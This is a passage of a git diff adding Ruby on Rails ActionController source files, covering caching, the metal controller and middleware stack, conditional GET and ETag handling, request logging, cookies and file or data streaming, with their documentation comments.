+      EtagWithTemplateDigest,
+      EtagWithFlash,
+      Caching,
+      MimeResponds,
+      ImplicitRender,
+      StrongParameters,
+      ParameterEncoding,
+      Cookies,
+      Flash,
+      FormBuilder,
+      RequestForgeryProtection,
+      ForceSSL,
+      Streaming,
+      DataStreaming,
+      HttpAuthentication::Basic::ControllerMethods,
+      HttpAuthentication::Digest::ControllerMethods,
+      HttpAuthentication::Token::ControllerMethods,
+
+      # Before callbacks should also be executed as early as possible, so
+      # also include them at the bottom.
+      AbstractController::Callbacks,
+
+      # Append rescue at the bottom to wrap as much as possible.
+      Rescue,
+
+      # Add instrumentations hooks at the bottom, to ensure they instrument
+      # all the methods properly.
+      Instrumentation,
+
+      # Params wrapper should come before instrumentation so they are
+      # properly showed in logs
+      ParamsWrapper
+    ]
+
+    MODULES.each do |mod|
+      include mod
+    end
+    setup_renderer!
+
+    # Define some internal variables that should not be propagated to the view.
+    PROTECTED_IVARS = AbstractController::Rendering::DEFAULT_PROTECTED_INSTANCE_VARIABLES + %i(
+      @_params @_response @_request @_config @_url_options @_action_has_layout @_view_context_class
+      @_view_renderer @_lookup_context @_routes @_view_runtime @_db_runtime @_helper_proxy
+    )
+
+    def _protected_ivars # :nodoc:
+      PROTECTED_IVARS
+    end
+
+    def self.make_response!(request)
+      ActionDispatch::Response.create.tap do |res|
+        res.request = request
+      end
+    end
+
+    ActiveSupport.run_load_hooks(:action_controller_base, self)
+    ActiveSupport.run_load_hooks(:action_controller, self)
+  end
+end
diff --git a/actionpack/lib/action_controller/caching.rb b/actionpack/lib/action_controller/caching.rb
new file mode 100644
index 0000000000..97775d1dc8
--- /dev/null
+++ b/actionpack/lib/action_controller/caching.rb
@@ -0,0 +1,46 @@
+# frozen_string_literal: true
+
+module ActionController
+  # \Caching is a cheap way of speeding up slow applications by keeping the result of
+  # calculations, renderings, and database calls around for subsequent requests.
+  #
+  # You can read more about each approach by clicking the modules below.
+  #
+  # Note: To turn off all caching provided by Action Controller, set
+  #   config.action_controller.perform_caching = false
+  #
+  # == \Caching stores
+  #
+  # All the caching stores from ActiveSupport::Cache are available to be used as backends
+  # for Action Controller caching.
+  #
+  # Configuration examples (FileStore is the default):
+  #
+  #   config.action_controller.cache_store = :memory_store
+  #   config.action_controller.cache_store = :file_store, '/path/to/cache/directory'
+  #   config.action_controller.cache_store = :mem_cache_store, 'localhost'
+  #   config.action_controller.cache_store = :mem_cache_store, Memcached::Rails.new('localhost:11211')
+  #   config.action_controller.cache_store = MyOwnStore.new('parameter')
+  module Caching
+    extend ActiveSupport::Autoload
+    extend ActiveSupport::Concern
+
+    included do
+      include AbstractController::Caching
+    end
+
+    private
+
+      def instrument_payload(key)
+        {
+          controller: controller_name,
+          action: action_name,
+          key: key
+        }
+      end
+
+      def instrument_name
+        "action_controller".freeze
+      end
+  end
+end
diff --git a/actionpack/lib/action_controller/form_builder.rb b/actionpack/lib/action_controller/form_builder.rb
new file mode 100644
index 0000000000..09d2ac1837
--- /dev/null
+++ b/actionpack/lib/action_controller/form_builder.rb
@@ -0,0 +1,50 @@
+# frozen_string_literal: true
+
+module ActionController
+  # Override the default form builder for all views rendered by this
+  # controller and any of its descendants. Accepts a subclass of
+  # +ActionView::Helpers::FormBuilder+.
+  #
+  # For example, given a form builder:
+  #
+  #   class AdminFormBuilder < ActionView::Helpers::FormBuilder
+  #     def special_field(name)
+  #     end
+  #   end
+  #
+  # The controller specifies a form builder as its default:
+  #
+  #   class AdminAreaController < ApplicationController
+  #     default_form_builder AdminFormBuilder
+  #   end
+  #
+  # Then in the view any form using +form_for+ will be an instance of the
+  # specified form builder:
+  #
+  #   <%= form_for(@instance) do |builder| %>
+  #     <%= builder.special_field(:name) %>
+  #   <% end %>
+  module FormBuilder
+    extend ActiveSupport::Concern
+
+    included do
+      class_attribute :_default_form_builder, instance_accessor: false
+    end
+
+    module ClassMethods
+      # Set the form builder to be used as the default for all forms
+      # in the views rendered by this controller and its subclasses.
+      #
+      # ==== Parameters
+      # * <tt>builder</tt> - Default form builder, an instance of +ActionView::Helpers::FormBuilder+
+      def default_form_builder(builder)
+        self._default_form_builder = builder
+      end
+    end
+
+    # Default form builder for the controller
+    def default_form_builder
+      self.class._default_form_builder
+    end
+  end
+end
diff --git a/actionpack/lib/action_controller/log_subscriber.rb b/actionpack/lib/action_controller/log_subscriber.rb
new file mode 100644
index 0000000000..14f41eb55f
--- /dev/null
+++ b/actionpack/lib/action_controller/log_subscriber.rb
@@ -0,0 +1,78 @@
+# frozen_string_literal: true
+
+module ActionController
+  class LogSubscriber < ActiveSupport::LogSubscriber
+    INTERNAL_PARAMS = %w(controller action format _method only_path)
+
+    def start_processing(event)
+      return unless logger.info?
+
+      payload = event.payload
+      params  = payload[:params].except(*INTERNAL_PARAMS)
+      format  = payload[:format]
+      format  = format.to_s.upcase if format.is_a?(Symbol)
+
+      info "Processing by #{payload[:controller]}##{payload[:action]} as #{format}"
+      info "  Parameters: #{params.inspect}" unless params.empty?
+    end
+
+    def process_action(event)
+      info do
+        payload   = event.payload
+        additions = ActionController::Base.log_process_action(payload)
+
+        status = payload[:status]
+        if status.nil? && payload[:exception].present?
+          exception_class_name = payload[:exception].first
+          status = ActionDispatch::ExceptionWrapper.status_code_for_exception(exception_class_name)
+        end
+        message = "Completed #{status} #{Rack::Utils::HTTP_STATUS_CODES[status]} in #{event.duration.round}ms".dup
+        message << " (#{additions.join(" | ".freeze)})" unless additions.empty?
+        message << "\n\n" if defined?(Rails.env) && Rails.env.development?
+
+        message
+      end
+    end
+
+    def halted_callback(event)
+      info { "Filter chain halted as #{event.payload[:filter].inspect} rendered or redirected" }
+    end
+
+    def send_file(event)
+      info { "Sent file #{event.payload[:path]} (#{event.duration.round(1)}ms)" }
+    end
+
+    def redirect_to(event)
+      info { "Redirected to #{event.payload[:location]}" }
+    end
+
+    def send_data(event)
+      info { "Sent data #{event.payload[:filename]} (#{event.duration.round(1)}ms)" }
+    end
+
+    def unpermitted_parameters(event)
+      debug do
+        unpermitted_keys = event.payload[:keys]
+        "Unpermitted parameter#{'s' if unpermitted_keys.size > 1}: #{unpermitted_keys.map { |e| ":#{e}" }.join(", ")}"
+      end
+    end
+
+    %w(write_fragment read_fragment exist_fragment?
+       expire_fragment expire_page write_page).each do |method|
+      class_eval <<-METHOD, __FILE__, __LINE__ + 1
+        def #{method}(event)
+          return unless logger.info? && ActionController::Base.enable_fragment_cache_logging
+          key         = ActiveSupport::Cache.expand_cache_key(event.payload[:key] || event.payload[:path])
+          human_name  = #{method.to_s.humanize.inspect}
+          info("\#{human_name} \#{key} (\#{event.duration.round(1)}ms)")
+        end
+      METHOD
+    end
+
+    def logger
+      ActionController::Base.logger
+    end
+  end
+end
+
+ActionController::LogSubscriber.attach_to :action_controller
diff --git a/actionpack/lib/action_controller/metal.rb b/actionpack/lib/action_controller/metal.rb
new file mode 100644
index 0000000000..457884ea08
--- /dev/null
+++ b/actionpack/lib/action_controller/metal.rb
@@ -0,0 +1,258 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/array/extract_options"
+require "action_dispatch/middleware/stack"
+require "action_dispatch/http/request"
+require "action_dispatch/http/response"
+
+module ActionController
+  # Extend ActionDispatch middleware stack to make it aware of options
+  # allowing the following syntax in controllers:
+  #
+  #   class PostsController < ApplicationController
+  #     use AuthenticationMiddleware, except: [:index, :show]
+  #   end
+  #
+  class MiddlewareStack < ActionDispatch::MiddlewareStack #:nodoc:
+    class Middleware < ActionDispatch::MiddlewareStack::Middleware #:nodoc:
+      def initialize(klass, args, actions, strategy, block)
+        @actions = actions
+        @strategy = strategy
+        super(klass, args, block)
+      end
+
+      def valid?(action)
+        @strategy.call @actions, action
+      end
+    end
+
+    def build(action, app = Proc.new)
+      action = action.to_s
+
+      middlewares.reverse.inject(app) do |a, middleware|
+        middleware.valid?(action) ? middleware.build(a) : a
+      end
+    end
+
+    private
+
+      INCLUDE = ->(list, action) { list.include? action }
+      EXCLUDE = ->(list, action) { !list.include? action }
+      NULL    = ->(list, action) { true }
+
+      def build_middleware(klass, args, block)
+        options = args.extract_options!
+        only   = Array(options.delete(:only)).map(&:to_s)
+        except = Array(options.delete(:except)).map(&:to_s)
+        args << options unless options.empty?
+
+        strategy = NULL
+        list     = nil
+
+        if only.any?
+          strategy = INCLUDE
+          list     = only
+        elsif except.any?
+          strategy = EXCLUDE
+          list     = except
+        end
+
+        Middleware.new(klass, args, list, strategy, block)
+      end
+  end
+
+  # <tt>ActionController::Metal</tt> is the simplest possible controller, providing a
+  # valid Rack interface without the additional niceties provided by
+  # <tt>ActionController::Base</tt>.
+  #
+  # A sample metal controller might look like this:
+  #
+  #   class HelloController < ActionController::Metal
+  #     def index
+  #       self.response_body = "Hello World!"
+  #     end
+  #   end
+  #
+  # And then to route requests to your metal controller, you would add
+  # something like this to <tt>config/routes.rb</tt>:
+  #
+  #   get 'hello', to: HelloController.action(:index)
+  #
+  # The +action+ method returns a valid Rack application for the \Rails
+  # router to dispatch to.
+  #
+  # == Rendering Helpers
+  #
+  # <tt>ActionController::Metal</tt> by default provides no utilities for rendering
+  # views, partials, or other responses aside from explicitly calling of
+  # <tt>response_body=</tt>, <tt>content_type=</tt>, and <tt>status=</tt>. To
+  # add the render helpers you're used to having in a normal controller, you
+  # can do the following:
+  #
+  #   class HelloController < ActionController::Metal
+  #     include AbstractController::Rendering
+  #     include ActionView::Layouts
+  #     append_view_path "#{Rails.root}/app/views"
+  #
+  #     def index
+  #       render "hello/index"
+  #     end
+  #   end
+  #
+  # == Redirection Helpers
+  #
+  # To add redirection helpers to your metal controller, do the following:
+  #
+  #   class HelloController < ActionController::Metal
+  #     include ActionController::Redirecting
+  #     include Rails.application.routes.url_helpers
+  #
+  #     def index
+  #       redirect_to root_url
+  #     end
+  #   end
+  #
+  # == Other Helpers
+  #
+  # You can refer to the modules included in <tt>ActionController::Base</tt> to see
+  # other features you can bring into your metal controller.
+  #
+  class Metal < AbstractController::Base
+    abstract!
+
+    # Returns the last part of the controller's name, underscored, without the ending
+    # <tt>Controller</tt>. For instance, PostsController returns <tt>posts</tt>.
+    # Namespaces are left out, so Admin::PostsController returns <tt>posts</tt> as well.
+    #
+    # ==== Returns
+    # * <tt>string</tt>
+    def self.controller_name
+      @controller_name ||= name.demodulize.sub(/Controller$/, "").underscore
+    end
+
+    def self.make_response!(request)
+      ActionDispatch::Response.new.tap do |res|
+        res.request = request
+      end
+    end
+
+    def self.binary_params_for?(action) # :nodoc:
+      false
+    end
+
+    # Delegates to the class' <tt>controller_name</tt>.
+    def controller_name
+      self.class.controller_name
+    end
+
+    attr_internal :response, :request
+    delegate :session, to: "@_request"
+    delegate :headers, :status=, :location=, :content_type=,
+             :status, :location, :content_type, to: "@_response"
+
+    def initialize
+      @_request = nil
+      @_response = nil
+      @_routes = nil
+      super
+    end
+
+    def params
+      @_params ||= request.parameters
+    end
+
+    def params=(val)
+      @_params = val
+    end
+
+    alias :response_code :status # :nodoc:
+
+    # Basic url_for that can be overridden for more robust functionality.
+    def url_for(string)
+      string
+    end
+
+    def response_body=(body)
+      body = [body] unless body.nil? || body.respond_to?(:each)
+      response.reset_body!
+      return unless body
+      response.body = body
+      super
+    end
+
+    # Tests if render or redirect has already happened.
+    def performed?
+      response_body || response.committed?
+    end
+
+    def dispatch(name, request, response) #:nodoc:
+      set_request!(request)
+      set_response!(response)
+      process(name)
+      request.commit_flash
+      to_a
+    end
+
+    def set_response!(response) # :nodoc:
+      @_response = response
+    end
+
+    def set_request!(request) #:nodoc:
+      @_request = request
+      @_request.controller_instance = self
+    end
+
+    def to_a #:nodoc:
+      response.to_a
+    end
+
+    def reset_session
+      @_request.reset_session
+    end
+
+    class_attribute :middleware_stack, default: ActionController::MiddlewareStack.new
+
+    def self.inherited(base) # :nodoc:
+      base.middleware_stack = middleware_stack.dup
+      super
+    end
+
+    # Pushes the given Rack middleware and its arguments to the bottom of the
+    # middleware stack.
+    def self.use(*args, &block)
+      middleware_stack.use(*args, &block)
+    end
+
+    # Alias for +middleware_stack+.
+    def self.middleware
+      middleware_stack
+    end
+
+    # Returns a Rack endpoint for the given action name.
+    def self.action(name)
+      if middleware_stack.any?
+        middleware_stack.build(name) do |env|
+          req = ActionDispatch::Request.new(env)
+          res = make_response! req
+          new.dispatch(name, req, res)
+        end
+      else
+        lambda { |env|
+          req = ActionDispatch::Request.new(env)
+          res = make_response! req
+          new.dispatch(name, req, res)
+        }
+      end
+    end
+
+    # Direct dispatch to the controller. Instantiates the controller, then
+    # executes the action named +name+.
+    def self.dispatch(name, req, res)
+      if middleware_stack.any?
+        middleware_stack.build(name) { |env| new.dispatch(name, req, res) }.call req.env
+      else
+        new.dispatch(name, req, res)
+      end
+    end
+  end
+end
diff --git a/actionpack/lib/action_controller/metal/basic_implicit_render.rb b/actionpack/lib/action_controller/metal/basic_implicit_render.rb
new file mode 100644
index 0000000000..2dc990f303
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/basic_implicit_render.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+module ActionController
+  module BasicImplicitRender # :nodoc:
+    def send_action(method, *args)
+      super.tap { default_render unless performed? }
+    end
+
+    def default_render(*args)
+      head :no_content
+    end
+  end
+end
diff --git a/actionpack/lib/action_controller/metal/conditional_get.rb b/actionpack/lib/action_controller/metal/conditional_get.rb
new file mode 100644
index 0000000000..0d9a0c8c56
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/conditional_get.rb
@@ -0,0 +1,274 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/hash/keys"
+
+module ActionController
+  module ConditionalGet
+    extend ActiveSupport::Concern
+
+    include Head
+
+    included do
+      class_attribute :etaggers, default: []
+    end
+
+    module ClassMethods
+      # Allows you to consider additional controller-wide information when generating an ETag.
+      # For example, if you serve pages tailored depending on who's logged in at the moment, you
+      # may want to add the current user id to be part of the ETag to prevent unauthorized displaying
+      # of cached pages.
+      #
+      #   class InvoicesController < ApplicationController
+      #     etag { current_user.try :id }
+      #
+      #     def show
+      #       # Etag will differ even for the same invoice when it's viewed by a different current_user
+      #       @invoice = Invoice.find(params[:id])
+      #       fresh_when(@invoice)
+      #     end
+      #   end
+      def etag(&etagger)
+        self.etaggers += [etagger]
+      end
+    end
+
+    # Sets the +etag+, +last_modified+, or both on the response and renders a
+    # <tt>304 Not Modified</tt> response if the request is already fresh.
+    #
+    # === Parameters:
+    #
+    # * <tt>:etag</tt> Sets a "weak" ETag validator on the response. See the
+    #   +:weak_etag+ option.
+    # * <tt>:weak_etag</tt> Sets a "weak" ETag validator on the response.
+    #   Requests that set If-None-Match header may return a 304 Not Modified
+    #   response if it matches the ETag exactly. A weak ETag indicates semantic
+    #   equivalence, not byte-for-byte equality, so they're good for caching
+    #   HTML pages in browser caches. They can't be used for responses that
+    #   must be byte-identical, like serving Range requests within a PDF file.
+    # * <tt>:strong_etag</tt> Sets a "strong" ETag validator on the response.
+    #   Requests that set If-None-Match header may return a 304 Not Modified
+    #   response if it matches the ETag exactly. A strong ETag implies exact
+    #   equality: the response must match byte for byte. This is necessary for
+    #   doing Range requests within a large video or PDF file, for example, or
+    #   for compatibility with some CDNs that don't support weak ETags.
+    # * <tt>:last_modified</tt> Sets a "weak" last-update validator on the
+    #   response. Subsequent requests that set If-Modified-Since may return a
+    #   304 Not Modified response if last_modified <= If-Modified-Since.
+    # * <tt>:public</tt> By default the Cache-Control header is private, set this to
+    #   +true+ if you want your application to be cacheable by other devices (proxy caches).
+    # * <tt>:template</tt> By default, the template digest for the current
+    #   controller/action is included in ETags. If the action renders a
+    #   different template, you can include its digest instead. If the action
+    #   doesn't render a template at all, you can pass <tt>template: false</tt>
+    #   to skip any attempt to check for a template digest.
+    #
+    # === Example:
+    #
+    #   def show
+    #     @article = Article.find(params[:id])
+    #     fresh_when(etag: @article, last_modified: @article.updated_at, public: true)
+    #   end
+    #
+    # This will render the show template if the request isn't sending a matching ETag or
+    # If-Modified-Since header and just a <tt>304 Not Modified</tt> response if there's a match.
+    #
+    # You can also just pass a record. In this case +last_modified+ will be set
+    # by calling +updated_at+ and +etag+ by passing the object itself.
+    #
+    #   def show
+    #     @article = Article.find(params[:id])
+    #     fresh_when(@article)
+    #   end
+    #
+    # You can also pass an object that responds to +maximum+, such as a
+    # collection of active records. In this case +last_modified+ will be set by
+    # calling <tt>maximum(:updated_at)</tt> on the collection (the timestamp of the
+    # most recently updated record) and the +etag+ by passing the object itself.
+    #
+    #   def index
+    #     @articles = Article.all
+    #     fresh_when(@articles)
+    #   end
+    #
+    # When passing a record or a collection, you can still set the public header:
+    #
+    #   def show
+    #     @article = Article.find(params[:id])
+    #     fresh_when(@article, public: true)
+    #   end
+    #
+    # When rendering a different template than the default controller/action
+    # style, you can indicate which digest to include in the ETag:
+    #
+    #   before_action { fresh_when @article, template: 'widgets/show' }
+    #
+    def fresh_when(object = nil, etag: nil, weak_etag: nil, strong_etag: nil, last_modified: nil, public: false, template: nil)
+      weak_etag ||= etag || object unless strong_etag
+      last_modified ||= object.try(:updated_at) || object.try(:maximum, :updated_at)
+
+      if strong_etag
+        response.strong_etag = combine_etags strong_etag,
+          last_modified: last_modified, public: public, template: template
+      elsif weak_etag || template
+        response.weak_etag = combine_etags weak_etag,
+          last_modified: last_modified, public: public, template: template
+      end
+
+      response.last_modified = last_modified if last_modified
+      response.cache_control[:public] = true if public
+
+      head :not_modified if request.fresh?(response)
+    end
+
+    # Sets the +etag+ and/or +last_modified+ on the response and checks it against
+    # the client request. If the request doesn't match the options provided, the
+    # request is considered stale and should be generated from scratch. Otherwise,
+    # it's fresh and we don't need to generate anything and a reply of <tt>304 Not Modified</tt> is sent.
+    #
+    # === Parameters:
+    #
+    # * <tt>:etag</tt> Sets a "weak" ETag validator on the response. See the
+    #   +:weak_etag+ option.
+    # * <tt>:weak_etag</tt> Sets a "weak" ETag validator on the response.
+    #   Requests that set If-None-Match header may return a 304 Not Modified
+    #   response if it matches the ETag exactly. A weak ETag indicates semantic
+    #   equivalence, not byte-for-byte equality, so they're good for caching
+    #   HTML pages in browser caches. They can't be used for responses that
+    #   must be byte-identical, like serving Range requests within a PDF file.
+    # * <tt>:strong_etag</tt> Sets a "strong" ETag validator on the response.
+    #   Requests that set If-None-Match header may return a 304 Not Modified
+    #   response if it matches the ETag exactly. A strong ETag implies exact
+    #   equality: the response must match byte for byte. This is necessary for
+    #   doing Range requests within a large video or PDF file, for example, or
+    #   for compatibility with some CDNs that don't support weak ETags.
+    # * <tt>:last_modified</tt> Sets a "weak" last-update validator on the
+    #   response. Subsequent requests that set If-Modified-Since may return a
+    #   304 Not Modified response if last_modified <= If-Modified-Since.
+    # * <tt>:public</tt> By default the Cache-Control header is private, set this to
+    #   +true+ if you want your application to be cacheable by other devices (proxy caches).
+    # * <tt>:template</tt> By default, the template digest for the current
+    #   controller/action is included in ETags. If the action renders a
+    #   different template, you can include its digest instead. If the action
+    #   doesn't render a template at all, you can pass <tt>template: false</tt>
+    #   to skip any attempt to check for a template digest.
+    #
+    # === Example:
+    #
+    #   def show
+    #     @article = Article.find(params[:id])
+    #
+    #     if stale?(etag: @article, last_modified: @article.updated_at)
+    #       @statistics = @article.really_expensive_call
+    #       respond_to do |format|
+    #         # all the supported formats
+    #       end
+    #     end
+    #   end
+    #
+    # You can also just pass a record. In this case +last_modified+ will be set
+    # by calling +updated_at+ and +etag+ by passing the object itself.
+    #
+    #   def show
+    #     @article = Article.find(params[:id])
+    #
+    #     if stale?(@article)
+    #       @statistics = @article.really_expensive_call
+    #       respond_to do |format|
+    #         # all the supported formats
+    #       end
+    #     end
+    #   end
+    #
+    # You can also pass an object that responds to +maximum+, such as a
+    # collection of active records. In this case +last_modified+ will be set by
+    # calling +maximum(:updated_at)+ on the collection (the timestamp of the
+    # most recently updated record) and the +etag+ by passing the object itself.
+    #
+    #   def index
+    #     @articles = Article.all
+    #
+    #     if stale?(@articles)
+    #       @statistics = @articles.really_expensive_call
+    #       respond_to do |format|
+    #         # all the supported formats
+    #       end
+    #     end
+    #   end
+    #
+    # When passing a record or a collection, you can still set the public header:
+    #
+    #   def show
+    #     @article = Article.find(params[:id])
+    #
+    #     if stale?(@article, public: true)
+    #       @statistics = @article.really_expensive_call
+    #       respond_to do |format|
+    #         # all the supported formats
+    #       end
+    #     end
+    #   end
+    #
+    # When rendering a different template than the default controller/action
+    # style, you can indicate which digest to include in the ETag:
+    #
+    #   def show
+    #     super if stale? @article, template: 'widgets/show'
+    #   end
+    #
+    def stale?(object = nil, **freshness_kwargs)
+      fresh_when(object, **freshness_kwargs)
+      !request.fresh?(response)
+    end
+
+    # Sets an HTTP 1.1 Cache-Control header. Defaults to issuing a +private+
+    # instruction, so that intermediate caches must not cache the response.
+    #
+    #   expires_in 20.minutes
+    #   expires_in 3.hours, public: true
+    #   expires_in 3.hours, public: true, must_revalidate: true
+    #
+    # This method will overwrite an existing Cache-Control header.
+    # See http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html for more possibilities.
+    #
+    # The method will also ensure an HTTP Date header for client compatibility.
+    def expires_in(seconds, options = {})
+      response.cache_control.merge!(
+        max_age: seconds,
+        public: options.delete(:public),
+        must_revalidate: options.delete(:must_revalidate)
+      )
+      options.delete(:private)
+
+      response.cache_control[:extras] = options.map { |k, v| "#{k}=#{v}" }
+      response.date = Time.now unless response.date?
+    end
+
+    # Sets an HTTP 1.1 Cache-Control header of <tt>no-cache</tt>. This means the
+    # resource will be marked as stale, so clients must always revalidate.
+    # Intermediate/browser caches may still store the asset.
+    def expires_now
+      response.cache_control.replace(no_cache: true)
+    end
+
+    # Cache or yield the block. The cache is supposed to never expire.
+    #
+    # You can use this method when you have an HTTP response that never changes,
+    # and the browser and proxies should cache it indefinitely.
+    #
+    # * +public+: By default, HTTP responses are private, cached only on the
+    #   user's web browser. To allow proxies to cache the response, set +true+ to
+    #   indicate that they can serve the cached response to all users.
+    def http_cache_forever(public: false)
+      expires_in 100.years, public: public
+
+      yield if stale?(etag: request.fullpath,
+                      last_modified: Time.new(2011, 1, 1).utc,
+                      public: public)
+    end
+
+    private
+      def combine_etags(validator, options)
+        [validator, *etaggers.map { |etagger| instance_exec(options, &etagger) }].compact
+      end
+  end
+end
diff --git a/actionpack/lib/action_controller/metal/cookies.rb b/actionpack/lib/action_controller/metal/cookies.rb
new file mode 100644
index 0000000000..ff46966693
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/cookies.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+module ActionController #:nodoc:
+  module Cookies
+    extend ActiveSupport::Concern
+
+    included do
+      helper_method :cookies if defined?(helper_method)
+    end
+
+    private
+      def cookies
+        request.cookie_jar
+      end
+  end
+end
diff --git a/actionpack/lib/action_controller/metal/data_streaming.rb b/actionpack/lib/action_controller/metal/data_streaming.rb
new file mode 100644
index 0000000000..30234ee304
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/data_streaming.rb
@@ -0,0 +1,152 @@
+# frozen_string_literal: true
+
+require_relative "exceptions"
+
+module ActionController #:nodoc:
+  # Methods for sending arbitrary data and for streaming files to the browser,
+  # instead of rendering.
+  module DataStreaming
+    extend ActiveSupport::Concern
+
+    include ActionController::Rendering
+
+    DEFAULT_SEND_FILE_TYPE        = "application/octet-stream".freeze #:nodoc:
+    DEFAULT_SEND_FILE_DISPOSITION = "attachment".freeze #:nodoc:
+
+    private
+      # Sends the file. This uses a server-appropriate method (such as X-Sendfile)
+      # via the Rack::Sendfile middleware. The header to use is set via
+      # +config.action_dispatch.x_sendfile_header+.
+      # Your server can also configure this for you by setting the X-Sendfile-Type header.
+      #
+      # Be careful to sanitize the path parameter if it is coming from a web
+      # page. <tt>send_file(params[:path])</tt> allows a malicious user to
+      # download any file on your server.
+      #
+      # Options:
+      # * <tt>:filename</tt> - suggests a filename for the browser to use.
+      #   Defaults to <tt>File.basename(path)</tt>.
+      # * <tt>:type</tt> - specifies an HTTP content type.
+      #   You can specify either a string or a symbol for a registered type with <tt>Mime::Type.register</tt>, for example :json.
+      #   If omitted, the type will be inferred from the file extension specified in <tt>:filename</tt>.
+      #   If no content type is registered for the extension, the default type 'application/octet-stream' will be used.
+      # * <tt>:disposition</tt> - specifies whether the file will be shown inline or downloaded.
+      #   Valid values are 'inline' and 'attachment' (default).
+      # * <tt>:status</tt> - specifies the status code to send with the response. Defaults to 200.
+      # * <tt>:url_based_filename</tt> - set to +true+ if you want the browser to guess the filename from
+      #   the URL, which is necessary for i18n filenames on certain browsers
+      #   (setting <tt>:filename</tt> overrides this option).
+      #
+      # The default Content-Type and Content-Disposition headers are
+      # set to download arbitrary binary files in as many browsers as
+      # possible. IE versions 4, 5, 5.5, and 6 are all known to have
+      # a variety of quirks (especially when downloading over SSL).
+      #
+      # Simple download:
+      #
+      #   send_file '/path/to.zip'
+      #
+      # Show a JPEG in the browser:
+      #
+      #   send_file '/path/to.jpeg', type: 'image/jpeg', disposition: 'inline'
+      #
+      # Show a 404 page in the browser:
+      #
+      #   send_file '/path/to/404.html', type: 'text/html; charset=utf-8', status: 404
+      #
+      # Read about the other Content-* HTTP headers if you'd like to
+      # provide the user with more information (such as Content-Description) in
+      # http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.11.
+      #
+      # Also be aware that the document may be cached by proxies and browsers.
+      # The Pragma and Cache-Control headers declare how the file may be cached
+      # by intermediaries. They default to require clients to validate with
+      # the server before releasing cached responses. See
+      # http://www.mnot.net/cache_docs/ for an overview of web caching and
+      # http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html#sec14.9
+      # for the Cache-Control header spec.
+      def send_file(path, options = {}) #:doc:
+        raise MissingFile, "Cannot read file #{path}" unless File.file?(path) && File.readable?(path)
+
+        options[:filename] ||= File.basename(path) unless options[:url_based_filename]
+        send_file_headers! options
+
+        self.status = options[:status] || 200
+        self.content_type = options[:content_type] if options.key?(:content_type)
+        response.send_file path
+      end
+
+      # Sends the given binary data to the browser. This method is similar to
+      # <tt>render plain: data</tt>, but also allows you to specify whether
+      # the browser should display the response as a file attachment (i.e. in a
+      # download dialog) or as inline data. You may also set the content type,
+      # the file name, and other things.
+      #
+      # Options:
+      # * <tt>:filename</tt> - suggests a filename for the browser to use.
+      # * <tt>:type</tt> - specifies an HTTP content type. Defaults to 'application/octet-stream'.
+      #   You can specify either a string or a symbol for a registered type with <tt>Mime::Type.register</tt>, for example :json.
+      #   If omitted, type will be inferred from the file extension specified in <tt>:filename</tt>.
+      #   If no content type is registered for the extension, the default type 'application/octet-stream' will be used.
+      # * <tt>:disposition</tt> - specifies whether the file will be shown inline or downloaded.
+      #   Valid values are 'inline' and 'attachment' (default).
+      # * <tt>:status</tt> - specifies the status code to send with the response. Defaults to 200.
+      #
+      # Generic data download:
+      #
+      #   send_data buffer
+      #
+      # Download a dynamically-generated tarball:
+      #
+      #   send_data generate_tgz('dir'), filename: 'dir.tgz'
+      #
+      # Display an image Active Record in the browser:
+      #
+      #   send_data image.data, type: image.content_type, disposition: 'inline'
+      #
+      # See +send_file+ for more information on HTTP Content-* headers and caching.
+      def send_data(data, options = {}) #:doc:
+        send_file_headers! options
+        render options.slice(:status, :content_type).merge(body: data)
+      end
+
+      def send_file_headers!(options)
+        type_provided = options.has_key?(:type)
+
+        content_type = options.fetch(:type, DEFAULT_SEND_FILE_TYPE)
+        self.content_type = content_type
+        response.sending_file = true
+
+        raise ArgumentError, ":type option required" if content_type.nil?
+
+        if content_type.is_a?(Symbol)
+          extension = Mime[content_type]
+          raise ArgumentError, "Unknown MIME type #{options[:type]}" unless extension
+          self.content_type = extension
+        else
+          if !type_provided && options[:filename]
+            # If type wasn't provided, try guessing from file extension.
+            content_type = Mime::Type.lookup_by_extension(File.extname(options[:filename]).downcase.delete(".")) || content_type
+          end
+          self.content_type = content_type
+        end
+
+        disposition = options.fetch(:disposition, DEFAULT_SEND_FILE_DISPOSITION)
+        unless disposition.nil?
+          disposition  = disposition.to_s
+          disposition += %(; filename="#{options[:filename]}") if options[:filename]
+          headers["Content-Disposition"] = disposition
+        end
+
+        headers["Content-Transfer-Encoding"] = "binary"
+
+        # Fix a problem with IE 6.0 on opening downloaded files:
+        # If Cache-Control: no-cache is set (which Rails does by default),
+        # IE removes the file it just downloaded from its cache immediately
+        # after it displays the "open/save" dialog, which means that if you
+        # hit "open" the file isn't there anymore when the application that
+        # is called for handling the download is run, so let's workaround that
+        response.cache_control[:public] ||= false
+      end
+  end
+end
diff --git a/actionpack/lib/action_controller/metal/etag_with_flash.rb b/actionpack/lib/action_controller/metal/etag_with_flash.rb
new file mode 100644
index 0000000000..38899e2f16
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/etag_with_flash.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+module ActionController
+  # When you're using the flash, it's generally used as a conditional on the view.
+  # This means the content of the view depends on the flash. Which in turn means
+  # that the ETag for a response should be computed with the content of the flash
+  # in mind. This does that by including the content of the flash as a component
+  # in the ETag that's generated for a response.
+  module EtagWithFlash
+    extend ActiveSupport::Concern
+
+    include ActionController::ConditionalGet
+
+    included do
+      etag { flash unless flash.empty? }
+    end
+  end
+end
diff --git a/actionpack/lib/action_controller/metal/etag_with_template_digest.rb b/actionpack/lib/action_controller/metal/etag_with_template_digest.rb
new file mode 100644
index 0000000000..640c75536e
--- /dev/null
+++ b/actionpack/lib/action_controller/metal/etag_with_template_digest.rb
@@ -0,0 +1,57 @@
+# frozen_string_literal: true
+
+module ActionController
+  # When our views change, they should bubble up into HTTP cache freshness
+  # and bust browser caches. So the template digest for the current action
+  # is automatically included in the ETag.
+  #
+  # Enabled by default for apps that use Action View. Disable by setting
+  #
